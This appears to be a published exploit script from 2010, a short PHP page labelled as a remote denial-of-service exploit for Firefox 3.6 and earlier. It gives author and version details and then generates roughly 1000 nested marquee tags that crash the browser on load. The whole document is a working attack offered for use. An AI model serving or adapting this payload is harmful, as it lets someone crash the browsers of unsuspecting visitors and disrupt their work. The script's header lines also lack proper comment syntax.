Mozilla Firefox 3.6 – Denial of Service (2)

<?php

*Title: Mozilla Firefox <=3.6 - Remote Denial Of Service Exploit

*Date: 25/02/10

*Author: Ale46 - ale46[at]paranoici[dot]org

*Software Link: http://www.mozilla-europe.org/en/firefox/

*Version: 3.6 and 3.5.8 are vulnerable so I think that all versions <= 3.6 have the same issue

*Tested on: Windows 7 x32\x64 - Ubuntu 9.10 x32

*Description: visiting this php page you'll get an instant crash of Firefox

*Greetz: Gandalf

*Extra Greetz: University of Palermo and its fantastics rules for the Computer Engineering degree (how beautiful 's irony)

$a = '<marquee>';

$b = '</marquee>';

for ($i=0;$i<=1000;$i++){

$a .= '<marquee>';

$b .= '</marquee>';

}

echo '<body>';

echo $a;

echo "hadouken!";

echo $b;

echo '</body>';